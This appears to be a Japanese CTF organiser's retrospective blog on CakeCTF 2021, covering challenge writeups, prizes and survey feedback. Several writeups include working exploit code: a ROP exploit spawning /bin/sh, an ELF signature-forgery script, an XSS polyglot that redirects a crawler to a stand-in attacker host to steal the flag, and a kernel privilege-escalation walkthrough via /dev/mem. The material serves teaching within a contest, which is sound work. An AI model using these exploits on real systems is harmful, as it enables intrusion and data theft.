はじめに
いままでInterKosenCTFとしていたのが、チームinsecureからの高専生消滅*1により名前がCakeCTFに変わりました。 内容はあんまり変わっていませんが、今年は明示的に「中級者向け」としたつもりです。 が、なぜか初心者向けCTFとして認知されてしまった感があります。(もちろん初心者の参加も歓迎です。がっつり勉強してください。) 運営一同がんばって作問・インフラ管理しています。 3人で全部回してるので、多少サーバーが死んだりとかは目をつぶって欲しいな゛ぁ〜(ニャンちゅう)
今回参加したけど全然解けなかったよ〜という方は是非いろんな人のwriteupを読んで復習してください。 結局過去問を復習して解いてる人間が将来的に勝つと思っています。
チーム参加で結構解いたわ〜という方は、チーム解散して個人での参加をご検討ください。
公式リポジトリはこちらにあります。
作った問題のwriteup
今回作った中で作問チェックを通過して(ほんまか?)無事出題できた問題は以下の通りです。
ジャンル | 問題名 | 想定難易度 | 概要 |
---|---|---|---|
pwn | UAF4b | warmup | 猫でもわかるUAF |
pwn | JIT4b | easy | 猫にはわからないかもしれないJIT |
pwn | GOT it | medium | libcのGOT改竄 |
pwn | Not So Tiger | hard | C++のvariantにおけるType Confusion |
pwn | hwdbg | very hard | 物理メモリの書き換えによるLPE |
crypto | improvisation | easy | LFSRの状態復元 |
rev | rflag | medium | Rust製バイナリ, フラグ文字列を確定させる正規表現の構築 |
rev | ALDRYA | medium | Z3を使ってELFの署名偽装 |
web | MofuMofu Diary | warmup | 猫でもわかるLFI |
web | ziperatops | medium | glob、正規表現、ファイルシステム等の誤った使用による任意ファイルアップロード |
web | My Nyamber | medium | JavaScriptの正規表現の闇仕様 |
web | Travelog | hard | CSP回避, JPEG+JS polyglot |
cheat | Yoshi-Shogi | easy | サーバーとの通信を改変するチート |
cheat | Kingtaker | medium | ブラウザのメモリ内容を改竄するチート |
作問チェックも頑張って3人でやりました。 こんな感じでチェックできていないやつもちらほらあります。 例年よりチェックできていない問題が多いのは、作問チェック大臣のyoshikingが一時行方不明になって捜索届を出していたのも一因です。
[pwn] UAF4b
やるだけUse-after-Free。
[pwn] JIT4b
INT_MIN
は地獄。
[pwn] GOT it
libcのGOT overwrite。
[pwn] Not So Tiger
もともとhard枠にはWindows Exploitを用意していたのですが、AWSのWindows Serverが地獄のような挙動をして問題設定ではexploitが困難になったのでボツにしました。 そして急遽速攻で作ったのがこの問題になります。即席にしては意外と評判が良かったです。
概要
ベンガル猫、オシキャット、オセロット、サバンナ猫って見た目が似ている*2からtype confusion起こしそうだよね?という猫科好きpwnerなら誰もが考えるであろうテーマを問題にしました。
プログラムでは、C++ 11から導入されたvariant
というSTLコンテナを利用して各種猫のクラスを管理しています。
クラスのうちOcicatとOcelotだったかはname
をポインタでなくchar配列として管理していることにも注目です。
想定解法
まずcin
によるスタックオーバーフローがあります。
しかしcanaryが有効でポインタっぽいデータもないので単純には悪用できません。
std::variant
の構造は単純で、基底となる型のunionの最後に1バイトの型情報が付加される形になっています。
Ocelotなどのコンストラクタでstrcpyを使っているため、std::variant
の型情報をBOFで書き換えられます。
これを使いOcelotをBengal CatにするType Confusionを起こせば、ageとnameのポインタが被るため任意アドレスreadが実現できます。
PIEが無効なのでlibcのアドレスをリークし、そこからさらにスタックのアドレス、スタックcanaryと順にリークしていけば最初のBOFでROPが可能です。
from ptrlib import * def new(type, age, name): sock.sendlineafter(">> ", "1") sock.sendlineafter(": ", str(type)) sock.sendlineafter(": ", str(age)) sock.sendlineafter(": ", name) def get(): sock.sendlineafter(">> ", "2") return sock.recvlineafter("Name: ") def set(age, name): sock.sendlineafter(">> ", "3") sock.sendlineafter(": ", str(age)) sock.sendlineafter(": ", name) elf = ELF("./distfiles/chall") libc = ELF("./distfiles/libc-2.31.so") #sock = Process("./distfiles/chall") HOST = os.getenv('HOST', 'localhost') PORT = os.getenv('PORT', '9004') sock = Socket(HOST, int(PORT)) # Leak libc address new(2, 777, "tama") set(elf.symbol("stdout"), "A" * 0x20) libc_base = u64(get()) - libc.symbol('_IO_2_1_stdout_') logger.info("libc = " + hex(libc_base)) libc.set_base(libc_base) # Leak stack address new(2, 777, "tama") set(libc.symbol("environ"), "A" * 0x20) addr_stack = u64(get()) logger.info("stack = " + hex(addr_stack)) # Leak canary new(2, 777, "tama") set(addr_stack - 0x120 + 1, "A" * 0x20) canary = u64(get()[:7]) << 8 logger.info("canary = " + hex(canary)) # BOF to win! rop_ret = 0x00403a34 rop_pop_rdi = 0x00403a33 payload = b'B'*0x88 payload += p64(canary) payload += p64(0xdeadbeefcafebabe)*3 payload += p64(rop_ret) payload += p64(rop_pop_rdi) payload += p64(addr_stack - 0xe0) payload += p64(libc.symbol('system')) payload += b'/bin/sh\0' new(0, 777, payload) sock.sendlineafter(">> ", "0") # sock.interactive() sock.sendline("cat flag*") print(sock.recvuntil("}"))
[pwn] hwdbg
概要
KASLR, KPTI, SMAP, SMEPが有効なカーネル環境が配布されます。
問題文に書いてある通り、/bin/hwdbg
というrootでsetuidされたバイナリがあります。
ソースコードを読むと、このプログラムは/dev/mem
の任意のオフセットに対して任意のデータを書き込めるようになっています。
/dev/mem
はマシンの物理メモリを直接読み書きできるデバイスファイルです。
したがって、これは「物理メモリを書き換えてroot取れますか」という問題になっています。
想定解法
物理メモリにはアドレスのランダム化という概念はないので今回の問題でKASLRは意味がありません。
また、これも当たり前ですが/dev/mem
はSMAPやKPTIに関わらずデータを読み書きできます。
/proc/iomem
というファイルには物理メモリのアドレスマップが記載されています。
このファイルを読むと、カーネル空間のデータが物理メモリのどこにマップされているかが分かります。
/ # cat /proc/iomem 00000000-00000fff : Reserved 00001000-0009fbff : System RAM 0009fc00-0009ffff : Reserved 000a0000-000bffff : PCI Bus 0000:00 000c0000-000c99ff : Video ROM 000ca000-000cadff : Adapter ROM 000cb000-000cb5ff : Adapter ROM 000f0000-000fffff : Reserved 000f0000-000fffff : System ROM 00100000-03fdffff : System RAM 02600000-03000c36 : Kernel code 03200000-033b3fff : Kernel rodata 03400000-034e137f : Kernel data 035de000-037fffff : Kernel bss 03fe0000-03ffffff : Reserved 04000000-febfffff : PCI Bus 0000:00 fd000000-fdffffff : 0000:00:02.0 fd000000-fdffffff : bochs-drm fe000000-fe003fff : 0000:00:03.0 fe000000-fe003fff : virtio-pci-modern feb00000-feb7ffff : 0000:00:03.0 feb90000-feb90fff : 0000:00:02.0 feb90000-feb90fff : bochs-drm feb91000-feb91fff : 0000:00:03.0 fec00000-fec003ff : IOAPIC 0 fed00000-fed003ff : HPET 0 fed00000-fed003ff : PNP0103:00 fee00000-fee00fff : Local APIC fffc0000-ffffffff : Reserved 100000000-17fffffff : PCI Bus 0000:00
例えばカーネル空間のコードは0x02600000から配置されていることが分かります。
/proc/kallsyms
から得た関数のオフセットなどを足せば、カーネルコードを任意の機械語で書き換えることができます。
また、0x03400000からのデータ領域にあるmodprobe_path
等の変数を書き換えても権限昇格できます。
想定解スクリプトではcore_pattern
を書き換えました。do_coredump
→format_corename
内でcall_usermodehelper
だったかにユーザーランドプログラムの呼び出しが依頼されるのですが、このときcore_pattern
という文字列を見て|
から始まる場合は続くファイル名のプログラムをroot権限で実行するようになっています。
非想定解
hwdbg
自体のメモリ領域を書き換えてシェルコードを注入すれば(rootプロセスなので)これでも権限昇格できます。
同じことですが、こっちの方がカーネルの知識がいらないので簡単らしい。
[crypto] improvisation
概要
フィボナッチLFSRの問題です。 諸事情によりcryptoの難易度を大幅に下げることになり、急遽easy問が必要になったので入れました。
想定解法
assertされているフラグの先頭文字列から単純にLFSRの状態を復元すれば終わりです。
with open("distfiles/output.txt", "r") as f: c = int(f.read(), 16) c = int(bin(c)[2:][::-1], 2) cc = c << 1 prefix = int.from_bytes(b'CakeCTF{', 'little') seed = (cc & ((1<<64)-1)) ^ prefix lfsr = LFSR(seed) m = 0 while cc: m = (m << 1) | ((cc & 1) ^ next(lfsr)) cc >>= 1 print(int.to_bytes(int(bin(m)[2:][::-1], 2), 64, 'little').rstrip(b'\x00'))
[rev] rflag
概要
Rust製プログラムのrevです。 といっても初心者でも解けるよう実質revは不要にしています。 strings等で見ると正規表現の存在が分かります。
解法
16進数32文字の文字列に対して正規表現を与えると、マッチした箇所を返してくれます。 次のように分割統治法的な考え方で位置を特定できます。
rlist = [ "[0-7]", "[012389ab]", "[014589cd]", "[02468ace]" ] m = 16 for rnd in range(4): sock.sendlineafter(": ", rlist[rnd]) response = eval(sock.recvlineafter(": ")) for i in range(32): if guess[i][0] % m == 0: if i in response: guess[i] = (guess[i][0], guess[i][0] + m//2) else: guess[i] = (guess[i][0] + m//2, guess[i][0] + m) else: if i in response: guess[i] = (guess[i][1], guess[i][1] + m//2) else: guess[i] = (guess[i][1] + m//2, guess[i][1] + m) m //= 2 answer = '' for i in range(32): answer += f'{guess[i][0]:x}'
[rev] ALDRYA
概要
なんかELFの検証機構みたいなのを実装したバイナリです。 これカーネルで検証する問題にしようか迷ったのですが、1桁solveの未来が見えたのでやめました。
署名自体はなんかローテーションしなからxorする32-bitのハッシュ関数的なのを使っています。
想定解法
ハッシュ関数のローテーションは1ビットずつで、1イテレーションにつき1バイト処理するので、理論上32バイトあればどんなハッシュ値も実現できます。 Z3などでこれを実装すれば、任意のELFファイルの署名を偽装できます。
ただし、0x100バイトずつ署名しているのである程度小さいELFを作り、破壊して良い場所を見つける必要があります。
from z3 import * import os import struct def ror32(v): if isinstance(v, int): return (v >> 1) | ((v & 1) << 31) else: return RotateRight(v, 1) def collide_chunk(chunk, ans): prefix = chunk[:-32] postfix = [BitVec(f'p{i}', 8) for i in range(32)] h = 0x20210828 for c in prefix: h = ror32(h ^ c) for c in postfix: h = ror32(h ^ ZeroExt(24, c)) s = Solver() s.add(h == ans) r = s.check() if r != sat: print(r) exit(1) m = s.model() for c in postfix: prefix += bytes([m[c].as_long()]) return prefix os.system("nasm exploit.S -o exploit.o -fELF64") os.system("ld exploit.o -o exploit") os.system("strip --strip-all exploit") with open("../distfiles/sample.aldrya", "rb") as f: n = struct.unpack("<I", f.read(4))[0] hlist = struct.unpack("<"+"I"*n, f.read(4*n)) output = b'' with open("exploit", "rb") as f: for i in range(n): chunk = f.read(0x100) if len(chunk) == 0: with open("../distfiles/sample.elf", "rb") as fs: fs.seek(i * 0x100) output += fs.read(0x100) else: chunk += b'\x00' * (0x100 - len(chunk)) output += collide_chunk(chunk, hlist[i]) with open("malicious", "wb") as f: f.write(output)
[web] MofuMofu Diary
猫でもわかるLFI。
[web] ziperatops
globにまつわる問題です。
[web] My Nyamber
JavaScriptを書いていたときに正規表現が思わぬ挙動をしたので問題にしました。
[web] Travelog
概要
ブログサービスで、JPEGのアップロードも可能です。 HTMLが書けるのでXSSがありますが、CSPが有効でscriptは実行できません。
想定解法
まずJPEGのアップロードですが、ファイルタイプのチェックにはpython標準のimghdrというモジュールを使っています。 実はこのモジュールはゴミで、”JFIF”があるかしか見ていません。そのためpolyglot書き放題となっています。
次に、ブログのページでは /show_utils.js
のようなスクリプトを読み込んでいます。
この前にブログ内容が入るのですが、base-uri
はself
になっているので、base directoryをアップロードディレクトリにすれば事前にアップロードしたshow_utils.js
が信頼できるscriptとしてロードされ、XSSになります。
import requests import re import base64 import json import os URL = 'http://{}:{}'.format(os.getenv("HOST", "localhost"), os.getenv("PORT", "8001")) def decode_base64(data): data = re.sub(r'[^-a-zA-Z0-9_]+', '', data) missing_padding = len(data) % 4 if missing_padding: data += '='* (4 - missing_padding) return base64.b64decode(data, '-_').decode() # login cred = {'username': 'niko7654321', 'password': 'bulb'} r = requests.post(f'{URL}/login', data=cred, allow_redirects=False) cookies = r.cookies user_id = json.loads(decode_base64(cookies['session'].split('.')[0]))['user_id'] print(f"[+] user_id = {user_id}") # upload exploit = b'nyan/*JFIF*/=1;' exploit += b'''location.href="http://your-server.xxx/"''' files = {'images[]': ('show_utils.js', exploit, 'image/jpeg')} r = requests.post(f'{URL}/upload', files=files, cookies=cookies) # post payload = { 'title': 'exploit', 'contents': f'<base href="/uploads/{user_id}/XXX/YYY/">' } r = requests.post(f'{URL}/post', data=payload, cookies=cookies) print(re.findall("value=\"(http://.+)\" id=", r.text)[0])
これをクローラに踏ませると自分のサーバーにフラグが飛んできます。
非想定解法
UAにフラグを入れていたので<meta>
タグでリダイレクトさせると解けました。悲しいね。
そして修正後の問題もなんやかんや頑張るとmetaで解けるという。Webなんもわからん。
[cheat] Yoshi-Shogi
概要
yoshikingと将棋が指せる夢のゲームです。
通常モードではyoshikingと普通の将棋が指せ、フラグモードではyoshiking側の歩兵すべてと飛車角が成った状態(サバンナ高橋ルール*3)からスタートします。 フラグモードで1回でも勝利するとフラグが貰えますが、yoshiking側のAIが若干バグってて王手無視とかが可能です。(それで勝てる訳ではない。)
想定解法
チート問に対するアプローチは様々でしょうが、ここでは想定解を説明します。 Rust製ELFで、チート問ですのでバイナリの解析は不要で、stringsなどの使用を想定しています。
そもそも将棋のようなただでさえAIを作るのが困難で何手も先を読むのに、yoshiking AIはCPUをほとんど使いません。 この時点でAI本体は別のサーバーにあり、それと通信していることが推測できます。 実際にstringsコマンドなどで将棋アプリを調べると、「yoshi-shogi.cakectf.com」というドメインが出てきます。
[省略] valuesrc/main.rsonmlkjhgfedcbaONMLKJHGFEDCBApsrPSRhttp://yoshi-shogi.cakectf.com:15061/ponder?position=&hand=&move=wbestmovePromote?JSON Error => You win [省略]
そこでWiresharkなどを使ってパケットを観測すると、次のような通信をしていることが分かります。
ここで、
/ponder?position=lnsgkgsnl/1r5b1/ppppppppp/9/9/2P6/PP1PPPPPP/1B5R1/LNSGKGSNL&hand=-&move=w
というパラメータと
{"bestmove":"3c3d"}
というレスポンスがどのような意味を持つかが気になります。 「LNSGKGSNL」などのワードで調べると、これは「Universal Shogi Interface; USI」というプロトコルであることが分かります。 実際に負けるまで試すとUSI特有のresignとかwinとかが返ってくると思います。
USIプロトコルの仕様書を読むと、次のような記載があります。
bestmove
[ponder ] bestmove [resign | win]
The engine has stopped searching and found the move
best in this position. The engine can send the move it likes to ponder on. The engine must not start pondering automatically. this command must always be sent if the engine stops searching, also in pondering mode if there is a stop command, so for every go command a bestmove command is needed! ((Shogidogoro) except after the combination "go mate", where this must be a checkmate command instead.) Directly before that the engine should send a final info command with the final search information, the the GUI has the complete statistics about the last search.
そこで、/etc/hosts
などを使ってyoshi-shogi.cakectf.com
をローカルホストに向け、ローカルで次のようにresign
を必ず返すサーバーを建てます。
$ printf 'HTTP/1.1 200 OK\r\nContent-Length: 21\r\n\r\n{"bestmove":"resign"}' | nc -lnvp 15061
この状態でフラグモードで遊ぶと、yoshikingの負け判定になりすぐにフラグが出てきます。
[cheat] Kingtaker
概要
yoshikingが王冠を集めるという、かつてないほど斬新なパズルゲームがブラウザで遊べます。
まずソースコードを見るとGameMaker:Studio製なのは自明なのですが、肝心のゲーム本体のJavaScriptは難読化されていて読めません*4。 そしてこのゲームを普通に遊ぶと、3ステージ目はたぶん歩数が足りなくて解けません。 そして4ステージ目はそもそも箱が邪魔で*5王冠に到達できないので解けません。
想定解法
CheatEngine等を使ってブラウザそのもののメモリハックをすれば解けます。 ゲームを動かしているrenderer processにアタッチし、カウンタや座標を特定します。
次の条件のときはチート判定が出るので注意です。
- ダンボール箱とyoshikingが重なっている
- カウンタの値が異常に大きい
これを回避して5ステージクリアすればフラグが貰えます。
賞品とスポンサーについて
今年は賞品を出すことにしました。 自腹切って出すつもりだったのですが、なんとたくさんの個人スポンサーが財政支援をしてくださり無事自腹切らずに済みそうです。 本当にありがとうございます。 スポンサーの方にも賞品はお送りいたします。
今回First-Blood Prizeというのを用意しました。 日本向けCTFでタイムゾーンが揃うので試験導入したのですが、結果としてあまりよくなかったと思います。 そもそもこのprizeは個人戦や非プロでも取れるprizeという目的で用意したのですが、結局ほとんどの賞品をプロチームが取る結果になりました。かなしいね。 まぁ上位チームが賞品を辞退する可能性もあるので、今回に関してどうなるかはなんとも言えません。
なんか良いアイデアがあれば募集しています。
あと賞品の内容ですが、1つは大量発注してすでに確定しています。 他は試作品みたいなのがある段階で確定ではないので、欲しいもの(ポロシャツ、ステッカーとか)があれば教えてください。
運営中のお話
今年は序盤の激ヤバグやTravelogの非想定解などでバタついていましたが、良かった点もあります。 個人的に最も良かったのは運営中の微妙に暇な時間の潰し方です。 なんと今回はボードゲームを採用しました。(意味不明)
ホワイト企業なので、Discordを横目に運営でオンラインゲームをしていました。 次のようなゲームをしました。
- 2Dバレーボール(初日のyoshikingは弱い。2日目はオリンピック予選レベル。)*6
- お絵描きゲーム集(yoshikingの絵心がやばい。ふるつきのお題が難解。)
- レーダー作戦ゲーム(戦艦沈没ゲーム。yoshikingが強い。)
- SOLO(UNOみたいなやつ)
- チャイニーズチェッカー
- チェス(yoshikingも弱い)
- 五目並べ
- リバーシ(yoshikingが強い)
- ゴーファー(ルール読まず初見プレイ。結局最後まで勝利条件が分からんかった。)
- なんか線の上に石置いて動かすやつ(ルール読まず初見プレイ。名前忘れた。)
- HEX(yoshikingが数十手先まで読んでコマを置く神のプレイを魅せてくれた。)
指定したユーザーとついたて将棋をオンラインで遊べるサービスがあったら募集しています。
Surveyについて
毎年Surveyをしていますが、なんとなくしている訳ではなくみんなの意見を参考にしています。 特に詳しく書いてくれている意見はかなり高い確率で次の年に採用されます。
まずqualityですが、まぁ最初サーバーを閉じたにしては良い感じだと思います。
次に難易度ですが、今まで「難しすぎる」に寄りがちだったのが若干緩和された感があります。 でも比較的難しい問題は必ず出します。みんなで全完みたいなCTFはうちでは開催しませんので、ご了承ください。 (たぶんそういうのはcpawみたいな常設で無限に遊べると思う。)
期間は36hで良さそう。
面白い問題は結構ばらつきが出ました。 非warmupではKingtakerとTravelogが人気です。Kingtakerは頑張って作った*7ので嬉C。
面白くない問題はtelepathyとimprovisationでしょうか。 いつも「もうちょっと典型を出しても良いのでは?」という声があったのでimprovisationを作ったのですが、やっぱり典型問は嫌いなんじゃないか。
今回、去年のアンケートを参考にした点としては
- 問題公開スケジュールを事前に知らせて欲しい
- 20時終了だと社会人でもwriteupを書く時間が取れる
- 1文字ずつフラグをリークするような問題はフラグを短めに(出してないけど)
- 格子暗号を出して欲しい
- reconやmiscが欲しい(telepathyは完全miscだと思ってこれは済にしました)
- もう少し簡単な問題も欲しい(今回は私がcrypto難易度警察して難しいものを複数問denyしました)
- cheatジャンルは次回も欲しい
- flagの入力箇所が小さい/わかりにくい
- 自分のチームの順位を全体ランクと別に見たい
- solve済みかがわかりにくい
です。たぶん対応したり修正したりできていると思います。 一方、今回対応できなかったリクエストは以下の通りです。ごめんね。
- ちゃんと楕円曲線した問題が欲しい
- ファイルはzipで配布して欲しい
こんな感じで運営一同アンケートは参考にしており、長文回答をお待ちしています。
非公式writeup集
一般にwriteup書く人は偉いことが知られている。 集められる限り集めます。
- チームrotationのブログ。1人で結構解いててすごい(小並)Survey間に合ってよかった。
- 実質公式writeup。全強98。
- N30Z30NさんによるCryptoのwriteup。ケーキは甘くなかった好き。
- shin2roさんのwriteup。めっちゃ簡潔にまとまっている。
- as3617さんによるMy Nyamberの詳解writeup。i love catわかる。
- fpasswdさんのwriteup。これも簡潔でTL;DRな感じ。
- 第二の実質公式wrieup。非想定解までまとめてあり勉強になるなぁ。
- BBBのqxxxbさんによるpwn中心のwriteup。かなり詳細。Survey最難関説。
- プロことSatoooonさんによるwriteup。最後の滑り込み激アツでした。
- katawareさんのrev writeup。Ghidra Script使えるようになりて〜。
- WreckTheLineのだこつさんのwriteup。全強。
- isoさんのwriteup。Kingtakerの「なんとなく開発者ツールのコンソールでglobalと打ってみた」好き。
- izumoさんのwriteup。こちらも1人で結構解いていてすごい(幼並感)
- crypto神ことjosephさんのwriteup。狼のアイコンしてるcryptographer全員めっちゃ強い説。
- Pro CTFerのkusanoさんによるwriteup。全強怖い。
- ./VespiaryのXornetさんのwriteup。Crypto感を出しているが、実はpwnもできると巷で話題。これも載ります。
- たくさん解いてるmisoさんのwriteup。是非web問も精進して昇神してください。
- Party Ticket被害者の会による告訴状です。私も3日くらい考えたので被害者です。
- 生きる伝説ことsmall kirbyさんによるBIGカツの宣伝です。私は大型犬が好きです。
- ./VespiaryのArkさんのwriteupです。metaタグ君さぁ・・・
- KUDoSのarata㌠のwriteupです。KUDoS応援しています。
- u1f383 xie de pwn WP. hen xiangxi. danshi wo bu neng kandong fantizi. (wo xianzai meiyou zhongwen IME)
- ieryさんによるimprovisationの丁寧writeup。初CTF参加でZ3を習得するのは天才さん。
さいごに
おまけ。
これすごい。
https://t.co/XbfFZ5lV3u pic.twitter.com/4oZke6GsEK
— so🏝🦊 (@3socha) 2021年8月29日
New challenge is released!